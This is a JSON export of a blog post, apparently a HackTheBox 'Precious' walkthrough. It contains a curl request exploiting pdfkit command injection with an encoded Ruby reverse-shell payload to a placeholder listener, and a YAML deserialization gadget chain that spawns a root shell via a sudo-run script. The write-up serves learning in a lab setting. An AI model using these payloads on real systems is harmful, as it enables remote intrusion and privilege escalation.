{"id":204,"date":"2023-02-22T17:08:28","date_gmt":"2023-02-22T16:08:28","guid":{"rendered":"https:\/\/babdcatha.net\/?p=204"},"modified":"2023-02-25T22:36:50","modified_gmt":"2023-02-25T21:36:50","slug":"hackthebox-precious","status":"publish","type":"post","link":"https:\/\/babdcatha.net\/index.php\/2023\/02\/22\/hackthebox-precious\/","title":{"rendered":"HackTheBox : Precious"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Hello everyone, in this writeup we are going to complete the <a href=\"https:\/\/app.hackthebox.com\/machines\/Precious\">Precious<\/a> machine on <a href=\"https:\/\/app.hackthebox.com\">HackTheBox<\/a>. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here is a little summary of the box :<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"#initial_access\">Initial access<\/a><\/li>\n\n\n\n<li><a href=\"#lateral_movement\">Lateral movement<\/a><\/li>\n\n\n\n<li><a href=\"#privilege_escalation\">Privilege escalation<\/a><\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"initial_access\">Initial access<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As usual, we are going to start with an nmap scan to discover what kind of services are running and accessible on the target machine.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full wp-duotone-unset-1\"><img loading=\"lazy\" decoding=\"async\" width=\"960\" height=\"471\" src=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/nmap-3.png\" alt=\"\" class=\"wp-image-355\" srcset=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/nmap-3.png 960w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/nmap-3-300x147.png 300w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/nmap-3-768x377.png 768w\" sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We can find an open SSH server as well as a web server. Let&#8217;s try to see what is on the webpage. After adding <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-primary-color\">precious.htb<\/mark> to our \/etc\/hosts file, we can see this page :<\/p>\n\n\n\n<figure class=\"wp-block-image size-full wp-duotone-unset-2\"><img loading=\"lazy\" decoding=\"async\" width=\"962\" height=\"944\" src=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/initial_site-3.png\" alt=\"\" class=\"wp-image-356\" srcset=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/initial_site-3.png 962w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/initial_site-3-300x294.png 300w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/initial_site-3-768x754.png 768w\" sizes=\"auto, (max-width: 962px) 100vw, 962px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">It looks like this website can create a PDF from any webpage we give it. This is interesting, if the input is not properly sanitized, we might have an LFI vulnerability here, for example by using iframes in the page we want to convert. Let&#8217;s see if there is any page on the server that might be inaccessible for us but not for the sever :<\/p>\n\n\n\n<figure class=\"wp-block-image size-full wp-duotone-unset-3\"><img loading=\"lazy\" decoding=\"async\" width=\"960\" height=\"471\" src=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/gobuster_initial.png\" alt=\"\" class=\"wp-image-357\" srcset=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/gobuster_initial.png 960w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/gobuster_initial-300x147.png 300w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/gobuster_initial-768x377.png 768w\" sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Well, apparently not. Let&#8217;s create a webserver on our machine with a simple HTML page and see how the website works :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">python3 -m http.server 4445<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If we try to convert our webpage on the site :<\/p>\n\n\n\n<figure class=\"wp-block-image size-full wp-duotone-unset-4\"><img loading=\"lazy\" decoding=\"async\" width=\"962\" height=\"473\" src=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/our_page.png\" alt=\"\" class=\"wp-image-360\" srcset=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/our_page.png 962w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/our_page-300x148.png 300w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/our_page-768x378.png 768w\" sizes=\"auto, (max-width: 962px) 100vw, 962px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We get this PDF, as expected :<\/p>\n\n\n\n<figure class=\"wp-block-image size-full wp-duotone-unset-5\"><img loading=\"lazy\" decoding=\"async\" width=\"960\" height=\"471\" src=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/test_pdf.png\" alt=\"\" class=\"wp-image-361\" srcset=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/test_pdf.png 960w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/test_pdf-300x147.png 300w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/test_pdf-768x377.png 768w\" sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Now, what happens if we try to use other HTML elements ? Here is a test with an iframe trying to access <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-primary-color\">\/etc\/passwd<\/mark> :<\/p>\n\n\n\n<figure class=\"wp-block-image size-full wp-duotone-unset-6\"><img loading=\"lazy\" decoding=\"async\" width=\"962\" height=\"473\" src=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/iframe_fail.png\" alt=\"\" class=\"wp-image-364\" srcset=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/iframe_fail.png 962w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/iframe_fail-300x148.png 300w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/iframe_fail-768x378.png 768w\" sizes=\"auto, (max-width: 962px) 100vw, 962px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Too bad, it looks like this kind of injections wont work here. What else could there be ? We can try to look at the generated pdf in more details using pdfinfo :<\/p>\n\n\n\n<figure class=\"wp-block-image size-full wp-duotone-unset-7\"><img loading=\"lazy\" decoding=\"async\" width=\"960\" height=\"471\" src=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/pdfinfo.png\" alt=\"\" class=\"wp-image-366\" srcset=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/pdfinfo.png 960w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/pdfinfo-300x147.png 300w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/pdfinfo-768x377.png 768w\" sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We see that the file was generated using a program called pdfkit 0.8.6, maybe this software has some vulnerability ? Indeed, it seems that this version of the program is vulnerable to <a href=\"https:\/\/github.com\/shamo0\/PDFkit-CMD-Injection\">command injection<\/a> (CVE-2022-25765). If we follow the instructions given on the GitHub page (which actually shows an example attack on this box), meaning starting an http server on port 80, starting a listener and sending this request using CURL :<mark style=\"background-color:#4d3030;color:#e67575\" class=\"has-inline-color\"><\/mark><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">curl 'precious.htb' -X POST -H 'User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:102.0) Gecko\/20100101 Firefox\/102.0' -H 'Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,\/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application\/x-www-form-urlencoded' -H 'Origin: precious.htb' -H 'Connection: keep-alive' -H 'Referer: precious.htb' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2Flistener_address%3Alistener_port%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22listener_address%22%2Clistener_port%29%29%27%60'<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We get a reverse shell as user ruby :<\/p>\n\n\n\n<figure class=\"wp-block-image size-full wp-duotone-unset-8\"><img loading=\"lazy\" decoding=\"async\" width=\"960\" height=\"471\" src=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/initial_access.png\" alt=\"\" class=\"wp-image-374\" srcset=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/initial_access.png 960w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/initial_access-300x147.png 300w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/initial_access-768x377.png 768w\" sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"lateral_movement\">Lateral movement<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Now that we have access to the system, we must try to find the user flag. By looking around a little, we can find another user, Henry, and the user flag, located in his home directory, at <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-primary-color\">\/home\/henry\/user.txt<\/mark>, but we can&#8217;t access it with our current privileges. Let&#8217;s try to find files that may contain information about this account. To do that, we can use find and grep to look for files containing the string &#8216;henry&#8217;. The 2>\/dev\/null part is there to hide errors when we encounter files that we cannot read. Here is the full command :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">find \/ -type f -exec grep -H 'henry' {} \\; 2&gt;\/dev\/null<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This can take a while, so we could also try to look into more specific folders instead of looking into <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-primary-color\">\/<\/mark> recursively. Eventually, we find a match that we can use : the file <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-primary-color\">\/home\/ruby\/.bundle\/config<\/mark> contains this line :<\/p>\n\n\n\n<figure class=\"wp-block-image size-full wp-duotone-unset-9\"><img loading=\"lazy\" decoding=\"async\" width=\"960\" height=\"471\" src=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/henry_passwd_blur.png\" alt=\"\" class=\"wp-image-378\" srcset=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/henry_passwd_blur.png 960w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/henry_passwd_blur-300x147.png 300w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/henry_passwd_blur-768x377.png 768w\" sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">This looks like credentials for henry&#8217;s account. We can now use them to ssh into the machine and get the user flag :<\/p>\n\n\n\n<figure class=\"wp-block-image size-full wp-duotone-unset-10\"><img loading=\"lazy\" decoding=\"async\" width=\"960\" height=\"471\" src=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/user_flag_blur.png\" alt=\"\" class=\"wp-image-379\" srcset=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/user_flag_blur.png 960w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/user_flag_blur-300x147.png 300w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/user_flag_blur-768x377.png 768w\" sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Hurray, we got our first flag. Now, it&#8217;s time to get root !<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"privilege_escalation\">Privilege escalation<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Running <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-primary-color\">sudo -l<\/mark>, we see that user henry can run this command as root :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\/usr\/bin\/ruby \/opt\/update_dependencies.rb<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Unfortunately, no wildcard, and we cannot write to update_dependencies.rb. Let&#8217;s look at the file in question to see if we can still do something with it :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"ruby\" class=\"language-ruby\"># Compare installed dependencies with those specified in \"dependencies.yml\"\nrequire \"yaml\"\nrequire 'rubygems'\n\n# TODO: update versions automatically\ndef update_gems()\nend\n\ndef list_from_file\n    YAML.load(File.read(\"dependencies.yml\"))\nend\n\ndef list_local_gems\n    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}\nend\n\ngems_file = list_from_file\ngems_local = list_local_gems\n\ngems_file.each do |file_name, file_version|\n    gems_local.each do |local_name, local_version|\n        if(file_name == local_name)\n            if(file_version != local_version)\n                puts \"Installed version differs from the one specified in file: \" + local_name\n            else\n                puts \"Installed version is equals to the one specified in file: \" + local_name\n            end\n        end\n    end\nend\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The script looks like it is loading a list of dependencies and versions from a file called dependencies.yml in the current directory, and checking if there is any discrepancy with the ones installed. It doesn&#8217;t look very exploitable.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">After a few moments (hours) of research, we discover that this line :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"\">YAML.load(File.read(\"dependencies.yml\"))<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">is the one that is going to give us our root shell. Since we are using Ruby2.7, we can perform a <a href=\"https:\/\/snyk.io\/blog\/finding-yaml-injection-with-snyk-code\/\">YAML Deserialization attack<\/a> ! If we use the provided exploit code, we get this back :<\/p>\n\n\n\n<figure class=\"wp-block-image size-full wp-duotone-unset-11\"><img loading=\"lazy\" decoding=\"async\" width=\"960\" height=\"942\" src=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/execution_as_root.png\" alt=\"\" class=\"wp-image-384\" srcset=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/execution_as_root.png 960w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/execution_as_root-300x294.png 300w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/execution_as_root-768x754.png 768w\" sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">It worked ! The id command was executed by root. If we now replace it with a command giving us a shell, we can now execute any command as root. Here is the code used in dependencies.yml :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"yaml\" class=\"language-yaml\">---\n- !ruby\/object:Gem::Installer\n    i: x\n- !ruby\/object:Gem::SpecFetcher\n    i: y\n- !ruby\/object:Gem::Requirement\n  requirements:\n    !ruby\/object:Gem::Package::TarReader\n    io: &amp;1 !ruby\/object:Net::BufferedIO\n      io: &amp;1 !ruby\/object:Gem::Package::TarReader::Entry\n         read: 0\n         header: \"abc\"\n      debug_output: &amp;1 !ruby\/object:Net::WriteAdapter\n         socket: &amp;1 !ruby\/object:Gem::RequestSet\n             sets: !ruby\/object:Net::WriteAdapter\n                 socket: !ruby\/module 'Kernel'\n                 method_id: :system\n             git_set: \/bin\/bash -p\n         method_id: :resolve<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can now run the script as root, and read the last flag :<\/p>\n\n\n\n<figure class=\"wp-block-image size-full wp-duotone-unset-12\"><img loading=\"lazy\" decoding=\"async\" width=\"960\" height=\"471\" src=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/root_flag_blur-1.png\" alt=\"\" class=\"wp-image-387\" srcset=\"https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/root_flag_blur-1.png 960w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/root_flag_blur-1-300x147.png 300w, https:\/\/babdcatha.net\/wp-content\/uploads\/2023\/02\/root_flag_blur-1-768x377.png 768w\" sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Yay ! We&#8217;ve completed this machine ! I hope you had fun and learned a thing or two, especially about YAML deserialization attacks !<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hello everyone, in this writeup we are going to complete the Precious machine on HackTheBox. Here is a little summary of the box : Initial access As usual, we are going to start with an nmap scan to discover what kind of services are running and accessible on the target machine. We can find an [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4],"tags":[33,16,30,34,32],"class_list":["post-204","post","type-post","status-publish","format-standard","hentry","category-writeups","tag-deserialization","tag-hackthebox","tag-pdf","tag-ruby","tag-yaml"],"featured_image_src":null,"author_info":{"display_name":"BabdCatha","author_link":"https:\/\/babdcatha.net\/index.php\/author\/admin4804\/"},"_links":{"self":[{"href":"https:\/\/babdcatha.net\/index.php\/wp-json\/wp\/v2\/posts\/204","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/babdcatha.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/babdcatha.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/babdcatha.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/babdcatha.net\/index.php\/wp-json\/wp\/v2\/comments?post=204"}],"version-history":[{"count":27,"href":"https:\/\/babdcatha.net\/index.php\/wp-json\/wp\/v2\/posts\/204\/revisions"}],"predecessor-version":[{"id":396,"href":"https:\/\/babdcatha.net\/index.php\/wp-json\/wp\/v2\/posts\/204\/revisions\/396"}],"wp:attachment":[{"href":"https:\/\/babdcatha.net\/index.php\/wp-json\/wp\/v2\/media?parent=204"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/babdcatha.net\/index.php\/wp-json\/wp\/v2\/categories?post=204"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/babdcatha.net\/index.php\/wp-json\/wp\/v2\/tags?post=204"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}